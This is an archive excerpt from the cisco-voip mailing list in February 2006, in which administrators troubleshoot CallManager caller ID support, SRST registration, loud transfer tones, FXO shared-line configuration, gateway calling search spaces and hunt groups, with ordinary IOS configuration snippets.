[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Wednesday, February 15, 2006 9:30 AM
To: Wes Sisk
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Caller ID



So if I understand what your saying is that with FGB and MGCP it works and
with FGD and H323 I can make it work, Yes?

 

 

 


  _____  


From: Wes Sisk 

 

FeatureGroupB is vanilla wink start t1-cas.  CM supports FGB via MGCP

FeatureGroupD includes ANI, but CCM does not support FGD via MGCP.  have to
use h323 if  you want FGB.  DNIS just gets a special format which is
*ANI*DNIS* which fails to match your route patterns in CM.  I've seen
several attempts to use translation patterns to force matches, but none
successful.

 

/Wes

 

On Feb 13, 2006, at 6:43 PM, Philip Walenta wrote:

 

T1 CAS supports ANI via feature group B or D.  I know it's one of those two.
Only supported on a limited set of devices.

 


  _____  


From: Jonathan Charles



BRI uses the same signaling as a PRI, so it works there

FXOs work... it will come in between the first and second ring (so if they
pickup before the 2nd ring, no CID).

A T1 CAS is another issue... while you can see digits in debugs, I have
never seen CID info... I would presume you can though.



Jonathan

On 2/13/06, Voll, Scott  wrote: 

Can anyone tell me on what interfaces CM 4.1 can accept and display Caller
ID.

 I know PRI's work.  What about FXO, CAS, BRI, etc.

 

Thank

 Scott

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From Scott.Voll at wesd.org  Wed Feb 15 11:05:38 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Wed Feb 15 11:05:46 2006
Subject: [cisco-voip] SRST question
Message-ID: <D713462ED535184D830F6F6301753E7E01BE14EF@VISHNU.wesd.org>

Setup two different DPs one with SRST and one without.  Assign Phones to
the correct DP.

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Jason Burton
Sent: Wednesday, February 15, 2006 7:51 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] SRST question

 

Is there a way in SRST mode to make sure a phone will always register to
SRST?  Lets say I have 10 phones but only want a max of 5 phones to
register to SRST is there a way to make a 'reservation' for a certain
phone to always be able to register?

 

Thanks again!

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From SPackett at fenwick.com  Wed Feb 15 11:12:38 2006
From: SPackett at fenwick.com (Stu Packett)
Date: Wed Feb 15 11:12:48 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
Message-ID: <965C0255FD5828438E34F9A68ECA76E740AAA4@svcexch02.firm.fenwick.llp>

Below are my settings on the H.323 gateway.
 
voice-port 0/0/0:23
 input gain -1
 output attenuation 3
 echo-cancel coverage 24
 bearer-cap Speech

________________________________

From: Lelio Fulgenzi [mailto:lelio at uoguelph.ca] 
Sent: Wednesday, February 15, 2006 8:02 AM
To: Wes Sisk; Stu Packett
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred


Would this not also modify the volume of the voices themselves?
 
------------------------------------------------------------------------
--------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter
than an
IP phone on a long haul 10base2 connection"
LFJ

	----- Original Message ----- 
	From: Wes Sisk <mailto:wsisk at cisco.com>  
	To: Stu Packett <mailto:SPackett at fenwick.com>  
	Cc: cisco-voip at puck.nether.net 
	Sent: Wednesday, February 15, 2006 9:39 AM
	Subject: Re: [cisco-voip] Callers Hear Beeps When Being
Transferred

	Callmanager is simply gong to tell the gateway to play a tone. 
	what is your output attenuation on your gateway set to?  this is
the only thing I am aware of that would modify the loudness of the tone.

	/Wes

	On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:


	CallManager 4.0(2a)sr2c 

	I got strange one here.  One of my users complained that when he
calls our main number and asks to be transferred to another employee, he
hears two or three beeps when the receptionist transfers his call.  The
problem isn't the beeps itself, but the loudness of the beeps.  I was
able to duplicate this issue on my phones, but on my lab phones, it does
not do that.

	Does anyone know where to find this "beep" setting when callers
are transferred? 

	Thanks in advance. 

________________________________

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requirements imposed by the IRS, we inform you that any U.S. federal tax
advice in this communication (including attachments) is not intended or
written by Fenwick & West LLP to be used, and cannot be used, for the
purpose of (i) avoiding penalties under the Internal Revenue Code or
(ii) promoting, marketing, or recommending to another party any
transaction or matter addressed herein. 
	
________________________________

	ATTENTION:
	The information contained in this message may be legally
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	_______________________________________________
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	https://puck.nether.net/mailman/listinfo/cisco-voip


	
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From james.dust at charles-stanley.co.uk  Wed Feb 15 11:23:36 2006
From: james.dust at charles-stanley.co.uk (James Dust)
Date: Wed Feb 15 11:23:48 2006
Subject: [cisco-voip] Analog line / FXO Port issues
Message-ID: <FDEEDC07A7DA6E41BCB819487E7C85AE6D6C4D@CSEXCH01.charles-stanley.co.uk>

Can anyone help us with this as we are no further forward.

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Nick Kassel
Sent: 10 February 2006 14:24
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Analog line / FXO Port issues



We are currently trying to set up one of our small remote sites
utilising there 4 existing analogue lines, which have one number spread
across them, we are a using a 4 port vic2-4fxo card in a 1760. We can
make outgoing and incoming calls but are having issues with multiple
incoming calls, we would like each phone to have just the one shared DN
86820 but can't seem to get it to work so have been playing about with
the voiceport and dialpeer configuration by adding another number to
connection plar and on line 2 on the phones, please can any one help out
with the correct way to set it up, below is our current config so far.

 

 

    !

voice-port 1/0

 supervisory disconnect anytone

 signal groundStart

 output attenuation -4

 cptone GB

 connection plar 86820

 impedance complex2

 description Wimborne Main Line

!

voice-port 1/1

 supervisory disconnect anytone

 signal groundStart

 output attenuation -4

 cptone GB

 connection plar 86821

 impedance complex2

 description Wimborne Main Line 2

!

voice-port 1/2

 supervisory disconnect anytone

 signal groundStart

 output attenuation -4

 cptone GB

 connection plar 86820

 impedance complex2

 description Wimborne Main Line 3

!

voice-port 1/3

 supervisory disconnect anytone

 signal groundStart

 output attenuation -4

 cptone GB

 connection plar 86820

 impedance complex2

 description Wimborne Main Line 4

!

no mgcp package-capability res-package

no mgcp package-capability fxr-package

no mgcp timer receive-rtcp

!

!

!

!

dial-peer voice 1 voip

 preference 1

 destination-pattern 86820

 progress_ind setup enable 3

 session target ipv4:172.30.0.2

 dtmf-relay h245-alphanumeric

 no vad

!

dial-peer voice 20 pots

 preference 8

 destination-pattern 9.T

 port 1/3

!

dial-peer voice 21 pots

 preference 9

 destination-pattern 9.T

 port 1/2

!

dial-peer voice 22 pots

 preference 10

 destination-pattern 9.T

 port 1/1

!

dial-peer voice 2 voip

 preference 2

 destination-pattern 86820

 progress_ind setup enable 3

 session target ipv4:172.30.0.2

 dtmf-relay h245-alphanumeric

 no vad

 

 

Regards

 

Nick   




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The information contained in this e-mail is strictly confidential, some
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You acknowledge that e-mails are not secure and you accept the risk of
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Charles Stanley & Co. Ltd
Registered Office: 25 Luke Street London EC2A 4AR

Tel: 0207 739 8200 Fax: 0207 739 7798
Registered in England No. 1903304

Charles Stanley Sutherlands and Tozer Wingate are divisions of Charles Stanley & Co. Ltd

Authorised and Regulated by the Financial Services Authority, Member of the
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From jburton at NETechCorp.com  Wed Feb 15 11:32:07 2006
From: jburton at NETechCorp.com (Jason Burton)
Date: Wed Feb 15 11:32:19 2006
Subject: [cisco-voip] SRST question
Message-ID: <FDC137145729AD438CDCA0F9FC6F72364CB0E1@mail.netechcorp.com>

Yeah, that makes sense.  Thanks!

 

Jason Burton, CCVP

Systems Engineer

NETech Corp.

701 Congressional Blvd.

Suite 210

Carmel, IN 46032

Wk: 317-581-1900 x 416

Fx: 317-581-1919

http://www.netechcorp.com

 

 

________________________________

From: Voll, Scott [mailto:Scott.Voll at wesd.org] 
Sent: Wednesday, February 15, 2006 11:06 AM
To: Jason Burton; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] SRST question

 

Setup two different DPs one with SRST and one without.  Assign Phones to
the correct DP.

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Jason Burton
Sent: Wednesday, February 15, 2006 7:51 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] SRST question

 

Is there a way in SRST mode to make sure a phone will always register to
SRST?  Lets say I have 10 phones but only want a max of 5 phones to
register to SRST is there a way to make a 'reservation' for a certain
phone to always be able to register?

 

Thanks again!

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From candace_holman at harvard.edu  Wed Feb 15 11:55:35 2006
From: candace_holman at harvard.edu (Candace Holman)
Date: Wed Feb 15 11:55:43 2006
Subject: [cisco-voip] Analog line / FXO Port issues
In-Reply-To: <200602151623.k1FGNncU085611@puck.nether.net>
References: <200602151623.k1FGNncU085611@puck.nether.net>
Message-ID: <43F35D07.6050709@harvard.edu>

I may not be understanding your question correctly, as I'm not sure why 
you set this up with plar. As an alternative, you should be able to 
easily set up a CallManager route group with each analog line as a 
member. You can use the route group in your route plans for that number 
and it will work to deliver calls to a single number to the various 
analog lines.

Candace
> Subject:
> RE: [cisco-voip] Analog line / FXO Port issues
> From:
> "James Dust" <james.dust at charles-stanley.co.uk>
> Date:
> Wed, 15 Feb 2006 16:23:36 -0000
> To:
> <cisco-voip at puck.nether.net>
>
> To:
> <cisco-voip at puck.nether.net>
>
>
> Can anyone help us with this as we are no further forward.
>
> ------------------------------------------------------------------------
> *From:* cisco-voip-bounces at puck.nether.net 
> [mailto:cisco-voip-bounces at puck.nether.net] *On Behalf Of *Nick Kassel
> *Sent:* 10 February 2006 14:24
> *To:* cisco-voip at puck.nether.net
> *Subject:* [cisco-voip] Analog line / FXO Port issues
>
> We are currently trying to set up one of our small remote sites 
> utilising there 4 existing analogue lines, which have one number 
> spread across them, we are a using a 4 port vic2-4fxo card in a 1760. 
> We can make outgoing and incoming calls but are having issues with 
> multiple incoming calls, we would like each phone to have just the one 
> shared DN 86820 but can?t seem to get it to work so have been playing 
> about with the voiceport and dialpeer configuration by adding another 
> number to connection plar and on line 2 on the phones, please can any 
> one help out with the correct way to set it up, below is our current 
> config so far.
>
> !
>
> voice-port 1/0
>
> supervisory disconnect anytone
>
> signal groundStart
>
> output attenuation -4
>
> cptone GB
>
> connection plar 86820
>
> impedance complex2
>
> description Wimborne Main Line
>
> !
>
> voice-port 1/1
>
> supervisory disconnect anytone
>
> signal groundStart
>
> output attenuation -4
>
> cptone GB
>
> connection plar 86821
>
> impedance complex2
>
> description Wimborne Main Line 2
>
> !
>
> voice-port 1/2
>
> supervisory disconnect anytone
>
> signal groundStart
>
> output attenuation -4
>
> cptone GB
>
> connection plar 86820
>
> impedance complex2
>
> description Wimborne Main Line 3
>
> !
>
> voice-port 1/3
>
> supervisory disconnect anytone
>
> signal groundStart
>
> output attenuation -4
>
> cptone GB
>
> connection plar 86820
>
> impedance complex2
>
> description Wimborne Main Line 4
>
> !
>
> no mgcp package-capability res-package
>
> no mgcp package-capability fxr-package
>
> no mgcp timer receive-rtcp
>
> !
>
> !
>
> !
>
> !
>
> dial-peer voice 1 voip
>
> preference 1
>
> destination-pattern 86820
>
> progress_ind setup enable 3
>
> session target ipv4:172.30.0.2
>
> dtmf-relay h245-alphanumeric
>
> no vad
>
> !
>
> dial-peer voice 20 pots
>
> preference 8
>
> destination-pattern 9.T
>
> port 1/3
>
> !
>
> dial-peer voice 21 pots
>
> preference 9
>
> destination-pattern 9.T
>
> port 1/2
>
> !
>
> dial-peer voice 22 pots
>
> preference 10
>
> destination-pattern 9.T
>
> port 1/1
>
> !
>
> dial-peer voice 2 voip
>
> preference 2
>
> destination-pattern 86820
>
> progress_ind setup enable 3
>
> session target ipv4:172.30.0.2
>
> dtmf-relay h245-alphanumeric
>
> no vad
>
> Regards
>
> Nick
>



From james.dust at charles-stanley.co.uk  Wed Feb 15 11:58:31 2006
From: james.dust at charles-stanley.co.uk (James Dust)
Date: Wed Feb 15 11:58:42 2006
Subject: [cisco-voip] Analog line / FXO Port issues
Message-ID: <FDEEDC07A7DA6E41BCB819487E7C85AE6D6C54@CSEXCH01.charles-stanley.co.uk>

Thanks Candace, are you referring to an MGCP gateway as we are using
H323.

James

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Candace Holman
Sent: 15 February 2006 16:56
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] Analog line / FXO Port issues

I may not be understanding your question correctly, as I'm not sure why
you set this up with plar. As an alternative, you should be able to
easily set up a CallManager route group with each analog line as a
member. You can use the route group in your route plans for that number
and it will work to deliver calls to a single number to the various
analog lines.

Candace
> Subject:
> RE: [cisco-voip] Analog line / FXO Port issues
> From:
> "James Dust" <james.dust at charles-stanley.co.uk>
> Date:
> Wed, 15 Feb 2006 16:23:36 -0000
> To:
> <cisco-voip at puck.nether.net>
>
> To:
> <cisco-voip at puck.nether.net>
>
>
> Can anyone help us with this as we are no further forward.
>
> ----------------------------------------------------------------------
> --
> *From:* cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] *On Behalf Of *Nick Kassel
> *Sent:* 10 February 2006 14:24
> *To:* cisco-voip at puck.nether.net
> *Subject:* [cisco-voip] Analog line / FXO Port issues
>
> We are currently trying to set up one of our small remote sites 
> utilising there 4 existing analogue lines, which have one number 
> spread across them, we are a using a 4 port vic2-4fxo card in a 1760.
> We can make outgoing and incoming calls but are having issues with 
> multiple incoming calls, we would like each phone to have just the one

> shared DN 86820 but can't seem to get it to work so have been playing 
> about with the voiceport and dialpeer configuration by adding another 
> number to connection plar and on line 2 on the phones, please can any 
> one help out with the correct way to set it up, below is our current 
> config so far.
>
> !
>
> voice-port 1/0
>
> supervisory disconnect anytone
>
> signal groundStart
>
> output attenuation -4
>
> cptone GB
>
> connection plar 86820
>
> impedance complex2
>
> description Wimborne Main Line
>
> !
>
> voice-port 1/1
>
> supervisory disconnect anytone
>
> signal groundStart
>
> output attenuation -4
>
> cptone GB
>
> connection plar 86821
>
> impedance complex2
>
> description Wimborne Main Line 2
>
> !
>
> voice-port 1/2
>
> supervisory disconnect anytone
>
> signal groundStart
>
> output attenuation -4
>
> cptone GB
>
> connection plar 86820
>
> impedance complex2
>
> description Wimborne Main Line 3
>
> !
>
> voice-port 1/3
>
> supervisory disconnect anytone
>
> signal groundStart
>
> output attenuation -4
>
> cptone GB
>
> connection plar 86820
>
> impedance complex2
>
> description Wimborne Main Line 4
>
> !
>
> no mgcp package-capability res-package
>
> no mgcp package-capability fxr-package
>
> no mgcp timer receive-rtcp
>
> !
>
> !
>
> !
>
> !
>
> dial-peer voice 1 voip
>
> preference 1
>
> destination-pattern 86820
>
> progress_ind setup enable 3
>
> session target ipv4:172.30.0.2
>
> dtmf-relay h245-alphanumeric
>
> no vad
>
> !
>
> dial-peer voice 20 pots
>
> preference 8
>
> destination-pattern 9.T
>
> port 1/3
>
> !
>
> dial-peer voice 21 pots
>
> preference 9
>
> destination-pattern 9.T
>
> port 1/2
>
> !
>
> dial-peer voice 22 pots
>
> preference 10
>
> destination-pattern 9.T
>
> port 1/1
>
> !
>
> dial-peer voice 2 voip
>
> preference 2
>
> destination-pattern 86820
>
> progress_ind setup enable 3
>
> session target ipv4:172.30.0.2
>
> dtmf-relay h245-alphanumeric
>
> no vad
>
> Regards
>
> Nick
>


_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip
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From candace_holman at harvard.edu  Wed Feb 15 12:06:29 2006
From: candace_holman at harvard.edu (Candace Holman)
Date: Wed Feb 15 12:06:38 2006
Subject: [cisco-voip] Analog line / FXO Port issues
In-Reply-To: <FDEEDC07A7DA6E41BCB819487E7C85AE6D6C54@CSEXCH01.charles-stanley.co.uk>
References: <FDEEDC07A7DA6E41BCB819487E7C85AE6D6C54@CSEXCH01.charles-stanley.co.uk>
Message-ID: <43F35F95.6070203@harvard.edu>

We use mgcp, so I don't know whether h323 gateways matter for the 
setup.  The docs say "Valid device types for route group are Analog 
Access, Digital Access T1, Digital Access PRI, MGCP gateways and H.225 
(Network side) devices."  The devices we selected for this treatment are 
the analog lines, such as described below.

Candace

James Dust wrote:
> Thanks Candace, are you referring to an MGCP gateway as we are using
> H323.
>
> James
>
> -----Original Message-----
> From: cisco-voip-bounces at puck.nether.net
> [mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Candace Holman
> Sent: 15 February 2006 16:56
> To: cisco-voip at puck.nether.net
> Subject: [cisco-voip] Analog line / FXO Port issues
>
> I may not be understanding your question correctly, as I'm not sure why
> you set this up with plar. As an alternative, you should be able to
> easily set up a CallManager route group with each analog line as a
> member. You can use the route group in your route plans for that number
> and it will work to deliver calls to a single number to the various
> analog lines.
>
> Candace
>   
>> Subject:
>> RE: [cisco-voip] Analog line / FXO Port issues
>> From:
>> "James Dust" <james.dust at charles-stanley.co.uk>
>> Date:
>> Wed, 15 Feb 2006 16:23:36 -0000
>> To:
>> <cisco-voip at puck.nether.net>
>>
>> To:
>> <cisco-voip at puck.nether.net>
>>
>>
>> Can anyone help us with this as we are no further forward.
>>
>> ----------------------------------------------------------------------
>> --
>> *From:* cisco-voip-bounces at puck.nether.net
>> [mailto:cisco-voip-bounces at puck.nether.net] *On Behalf Of *Nick Kassel
>> *Sent:* 10 February 2006 14:24
>> *To:* cisco-voip at puck.nether.net
>> *Subject:* [cisco-voip] Analog line / FXO Port issues
>>
>> We are currently trying to set up one of our small remote sites 
>> utilising there 4 existing analogue lines, which have one number 
>> spread across them, we are a using a 4 port vic2-4fxo card in a 1760.
>> We can make outgoing and incoming calls but are having issues with 
>> multiple incoming calls, we would like each phone to have just the one
>>     
>
>   
>> shared DN 86820 but can't seem to get it to work so have been playing 
>> about with the voiceport and dialpeer configuration by adding another 
>> number to connection plar and on line 2 on the phones, please can any 
>> one help out with the correct way to set it up, below is our current 
>> config so far.
>>
>> !
>>
>> voice-port 1/0
>>
>> supervisory disconnect anytone
>>
>> signal groundStart
>>
>> output attenuation -4
>>
>> cptone GB
>>
>> connection plar 86820
>>
>> impedance complex2
>>
>> description Wimborne Main Line
>>
>> !
>>
>> voice-port 1/1
>>
>> supervisory disconnect anytone
>>
>> signal groundStart
>>
>> output attenuation -4
>>
>> cptone GB
>>
>> connection plar 86821
>>
>> impedance complex2
>>
>> description Wimborne Main Line 2
>>
>> !
>>
>> voice-port 1/2
>>
>> supervisory disconnect anytone
>>
>> signal groundStart
>>
>> output attenuation -4
>>
>> cptone GB
>>
>> connection plar 86820
>>
>> impedance complex2
>>
>> description Wimborne Main Line 3
>>
>> !
>>
>> voice-port 1/3
>>
>> supervisory disconnect anytone
>>
>> signal groundStart
>>
>> output attenuation -4
>>
>> cptone GB
>>
>> connection plar 86820
>>
>> impedance complex2
>>
>> description Wimborne Main Line 4
>>
>> !
>>
>> no mgcp package-capability res-package
>>
>> no mgcp package-capability fxr-package
>>
>> no mgcp timer receive-rtcp
>>
>> !
>>
>> !
>>
>> !
>>
>> !
>>
>> dial-peer voice 1 voip
>>
>> preference 1
>>
>> destination-pattern 86820
>>
>> progress_ind setup enable 3
>>
>> session target ipv4:172.30.0.2
>>
>> dtmf-relay h245-alphanumeric
>>
>> no vad
>>
>> !
>>
>> dial-peer voice 20 pots
>>
>> preference 8
>>
>> destination-pattern 9.T
>>
>> port 1/3
>>
>> !
>>
>> dial-peer voice 21 pots
>>
>> preference 9
>>
>> destination-pattern 9.T
>>
>> port 1/2
>>
>> !
>>
>> dial-peer voice 22 pots
>>
>> preference 10
>>
>> destination-pattern 9.T
>>
>> port 1/1
>>
>> !
>>
>> dial-peer voice 2 voip
>>
>> preference 2
>>
>> destination-pattern 86820
>>
>> progress_ind setup enable 3
>>
>> session target ipv4:172.30.0.2
>>
>> dtmf-relay h245-alphanumeric
>>
>> no vad
>>
>> Regards
>>
>> Nick
>>
>>     
>
>
>
>   



From wsisk at cisco.com  Wed Feb 15 12:32:58 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 12:33:14 2006
Subject: [cisco-voip] Gateway CSS
In-Reply-To: <001001c63244$000413f0$6301a8c0@windfall99>
References: <13591CB4B2359F4D96E2606DD6B840A00247FE78@smoxchg.jhacorp.com>
	<001001c63244$000413f0$6301a8c0@windfall99>
Message-ID: <A0E3FA61-4555-4740-B040-84D6FADE531F@cisco.com>

generally your gateway CSS should not contain any partition that  
contains a RP pointing back to the same gateway, or an alternate  
gateway to the same same cloud since that can cause a call routing loop.

/Wes

On Feb 15, 2006, at 10:16 AM, Ciscozest wrote:

Would it do any harm if we set Gateway CSS (inbound) to contain all  
configured partitions? I worry if this could cause toll-fraud.
On second thought, I realized telco will always send fixed DID  
numbers to the gateway, thus setting the gateway CSS to contain  
internal partition is enough and secure. What is the best practice we  
should follow? Any idea? Thanks
_______________________________________________
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From wsisk at cisco.com  Wed Feb 15 12:37:08 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 12:37:25 2006
Subject: [cisco-voip] Caller ID
In-Reply-To: <200602151605.k1FG5TDU020469@ms-smtp-04.rdc-kc.rr.com>
References: <200602151605.k1FG5TDU020469@ms-smtp-04.rdc-kc.rr.com>
Message-ID: <F7FF3EE5-CD25-49CD-99EC-1A9E55BE1C71@cisco.com>

Yes, someone wrote a TCL script for this also, though I'm not sure  
why when you get 'e&m-fgd' when you define the ds0-group
http://www.cisco.com/en/US/customer/products/sw/iosswrel/ps1834/ 
products_feature_guide09186a00800801ee.html

I have heard of some folks using a delimiter other than *, like #  
( #ani#dnis#) and for that the TCL script would be more flexible.

/Wes

On Feb 15, 2006, at 11:05 AM, Philip Walenta wrote:

FGB does not provide ANI, but works with MGCP.

FGD provides ANI, but only works with H.323.

I've seen TCL scripts used to capture this info and forward it  
appropriately.

From: cisco-voip-bounces at puck.nether.net [mailto:cisco-voip- 
bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Wednesday, February 15, 2006 9:30 AM
To: Wes Sisk
Cc: cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] Caller ID

So if I understand what your saying is that with FGB and MGCP it  
works and with FGD and H323 I can make it work, Yes?







From: Wes Sisk



FeatureGroupB is vanilla wink start t1-cas.  CM supports FGB via MGCP

FeatureGroupD includes ANI, but CCM does not support FGD via MGCP.   
have to use h323 if  you want FGB.  DNIS just gets a special format  
which is *ANI*DNIS* which fails to match your route patterns in CM.   
I've seen several attempts to use translation patterns to force  
matches, but none successful.



/Wes



On Feb 13, 2006, at 6:43 PM, Philip Walenta wrote:



T1 CAS supports ANI via feature group B or D.  I know it's one of  
those two.  Only supported on a limited set of devices.



From: Jonathan Charles


BRI uses the same signaling as a PRI, so it works there

FXOs work... it will come in between the first and second ring (so if  
they pickup before the 2nd ring, no CID).

A T1 CAS is another issue... while you can see digits in debugs, I  
have never seen CID info... I would presume you can though.



Jonathan

On 2/13/06, Voll, Scott  wrote:

Can anyone tell me on what interfaces CM 4.1 can accept and display  
Caller ID.

  I know PRI's work.  What about FXO, CAS, BRI, etc.



Thank

  Scott



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From wsisk at cisco.com  Wed Feb 15 12:39:07 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 12:39:29 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
In-Reply-To: <003201c63249$3097bd50$30196883@cfs.uoguelph.ca>
References: <965C0255FD5828438E34F9A68ECA76E740AA9D@svcexch02.firm.fenwick.llp>
	<C204EC32-37E7-4FFD-A377-0C03F98E339C@cisco.com>
	<003201c63249$3097bd50$30196883@cfs.uoguelph.ca>
Message-ID: <339540CC-9A67-4733-BF69-F3DCE21D45EB@cisco.com>

yep.

On Feb 15, 2006, at 11:02 AM, Lelio Fulgenzi wrote:

Would this not also modify the volume of the voices themselves?

------------------------------------------------------------------------ 
--------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
"I had a coffee and Coke at lunch today...and now, I've got more  
jitter than an
IP phone on a long haul 10base2  
connection"                                           LFJ
----- Original Message -----
From: Wes Sisk
To: Stu Packett
Cc: cisco-voip at puck.nether.net
Sent: Wednesday, February 15, 2006 9:39 AM
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

Callmanager is simply gong to tell the gateway to play a tone.
what is your output attenuation on your gateway set to?  this is the  
only thing I am aware of that would modify the loudness of the tone.

/Wes

On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:

CallManager 4.0(2a)sr2c

I got strange one here.  One of my users complained that when he  
calls our main number and asks to be transferred to another employee,  
he hears two or three beeps when the receptionist transfers his  
call.  The problem isn't the beeps itself, but the loudness of the  
beeps.  I was able to duplicate this issue on my phones, but on my  
lab phones, it does not do that.

Does anyone know where to find this "beep" setting when callers are  
transferred?

Thanks in advance.

IRS Circular 230  Disclosure:  To ensure compliance with requirements  
imposed by the IRS, we inform you that any U.S. federal tax advice in  
this communication (including attachments) is not intended or written  
by Fenwick & West LLP to be used, and cannot be used, for the purpose  
of (i) avoiding penalties under the Internal Revenue Code or (ii)  
promoting, marketing, or recommending to another party any  
transaction or matter addressed herein.
ATTENTION:
The information contained in this message may be legally privileged  
and confidential.  It is intended to be read only by the individual  
or entity to whom it is addressed or by their designee. If the reader  
of this message is not the intended recipient, you are on notice that  
any distribution of this message, in any form, is strictly prohibited.
If you have received this message in error, please immediately notify  
the sender and/or Fenwick & West LLP by telephone at (650) 988-8500  
and delete or destroy any copy of this message.
_______________________________________________
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From wsisk at cisco.com  Wed Feb 15 12:40:54 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 12:41:10 2006
Subject: [cisco-voip] Callers Hear Beeps When Being Transferred
In-Reply-To: <965C0255FD5828438E34F9A68ECA76E740AAA4@svcexch02.firm.fenwick.llp>
References: <965C0255FD5828438E34F9A68ECA76E740AAA4@svcexch02.firm.fenwick.llp>
Message-ID: <69959BF7-A926-4F1C-81BD-4B13039F20A8@cisco.com>

that looks reasonable.  any chance you can set OA=6 and test.  i  
suspect  the PSTN caller will faintly hear the IPPhone user with that  
config, but it will confirm we are going down the right path.

/Wes
On Feb 15, 2006, at 11:12 AM, Stu Packett wrote:

Below are my settings on the H.323 gateway.

voice-port 0/0/0:23
  input gain -1
  output attenuation 3
  echo-cancel coverage 24
  bearer-cap Speech

From: Lelio Fulgenzi [mailto:lelio at uoguelph.ca]
Sent: Wednesday, February 15, 2006 8:02 AM
To: Wes Sisk; Stu Packett
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

Would this not also modify the volume of the voices themselves?

------------------------------------------------------------------------ 
--------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
"I had a coffee and Coke at lunch today...and now, I've got more  
jitter than an
IP phone on a long haul 10base2  
connection"                                           LFJ
----- Original Message -----
From: Wes Sisk
To: Stu Packett
Cc: cisco-voip at puck.nether.net
Sent: Wednesday, February 15, 2006 9:39 AM
Subject: Re: [cisco-voip] Callers Hear Beeps When Being Transferred

Callmanager is simply gong to tell the gateway to play a tone.
what is your output attenuation on your gateway set to?  this is the  
only thing I am aware of that would modify the loudness of the tone.

/Wes

On Feb 15, 2006, at 2:03 AM, Stu Packett wrote:

CallManager 4.0(2a)sr2c

I got strange one here.  One of my users complained that when he  
calls our main number and asks to be transferred to another employee,  
he hears two or three beeps when the receptionist transfers his  
call.  The problem isn't the beeps itself, but the loudness of the  
beeps.  I was able to duplicate this issue on my phones, but on my  
lab phones, it does not do that.

Does anyone know where to find this "beep" setting when callers are  
transferred?

Thanks in advance.

IRS Circular 230  Disclosure:  To ensure compliance with requirements  
imposed by the IRS, we inform you that any U.S. federal tax advice in  
this communication (including attachments) is not intended or written  
by Fenwick & West LLP to be used, and cannot be used, for the purpose  
of (i) avoiding penalties under the Internal Revenue Code or (ii)  
promoting, marketing, or recommending to another party any  
transaction or matter addressed herein.
ATTENTION:
The information contained in this message may be legally privileged  
and confidential.  It is intended to be read only by the individual  
or entity to whom it is addressed or by their designee. If the reader  
of this message is not the intended recipient, you are on notice that  
any distribution of this message, in any form, is strictly prohibited.
If you have received this message in error, please immediately notify  
the sender and/or Fenwick & West LLP by telephone at (650) 988-8500  
and delete or destroy any copy of this message.
_______________________________________________
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https://puck.nether.net/mailman/listinfo/cisco-voip



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From wsisk at cisco.com  Wed Feb 15 12:42:12 2006
From: wsisk at cisco.com (Wes Sisk)
Date: Wed Feb 15 12:42:28 2006
Subject: [cisco-voip] Silly PilotPoint>Hunt Group question...
In-Reply-To: <050944EE48FF384F9C663F7048C47DA703198AFB@webmail.asheville.k12.nc.us>
References: <050944EE48FF384F9C663F7048C47DA703198AFB@webmail.asheville.k12.nc.us>
Message-ID: <AEF08F43-3370-40C6-AD52-71C17971F218@cisco.com>

in recent versions it's more a matter of preference, but huntpilot/ 
huntlist/linegroup tend to be much more stable in my experience.

/Wes

On Feb 15, 2006, at 10:32 AM, Tim Reimers wrote:

Hi everyone-

Here's the goal-

I have a  remote office for some of our technicians-
I want to set up a number so that when I call that number, all phones  
ring (either in sequence, or simultaneouly (prefer that)

this is so that anyone who is there will answer the call - since I  
don't know who is at their desk?

Here's what I've done-

Created Pilot Point 5180
